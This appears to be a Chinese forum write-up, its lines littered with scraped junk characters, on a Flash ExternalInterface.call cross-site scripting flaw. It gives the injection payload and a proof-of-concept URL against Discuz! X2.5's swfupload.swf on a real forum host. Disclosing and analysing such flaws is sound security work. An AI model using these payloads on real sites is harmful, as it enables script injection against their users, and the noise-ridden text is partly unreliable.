上回我们说+ q. ^' U. e1 C2 c3 y; s9 \
+ A" [% `+ f7 l: ?+ F$ q2 T
flash.external.ExternalInterface.call($methodName, $parameter)" ]' S. X& W0 w, q/ k3 Z3 P* c% u
在浏览器中执行的是
% h$ B+ E( V3 F3 d, P: Y
) t6 ]! u# P( |* u) `$ v% `! v: m6 htry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
3 I6 y5 T4 f x; @8 X5 N3 A( ~对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如4 Y& \; b5 s7 z; e6 J& p
* Z9 [5 e6 X0 `6 T% gflash.external.ExternalInterface.call("object."+$methodName, $parameter)5 ~: ?8 z9 R! R$ V$ D, h" M
$methodName = a())}catch(e){alert(/xss/)}//
" ?; G, p6 U8 P# S3 c' g结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。) C6 A* G- q) V6 O" I' |0 F. A8 v( b
& @3 }- h, r6 D) g: u) y9 S8 P' O1 |
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }0 i/ v& C+ O1 o3 h
% k* V& m# R3 k- p+ ~
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )0 _: W" ]9 v# F- K
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
; M9 a( I) h7 b- ?# T% p2 ^ @
0 W" i$ S0 w9 d+ J w2 a. ~3 ?+ p8 \
* z7 e5 ~" G* h5 O. S2 J! {7 [3 c
漏洞文件:upload\static\image\common\swfupload.swf$ i9 T" z( s+ _; q8 f) c" L
6 W; b! c5 E9 t! E* B3 S
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
2 G g% o3 b( B) f ^$ D
+ p% Z8 V1 r! A- }9 k% P/ V
! D, q- E3 V; B) g- Z漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//! m/ P: |5 S: y! T6 D1 G7 S
7 J- a, ?/ S4 t; i* A0 b4 b0 Y" y U
|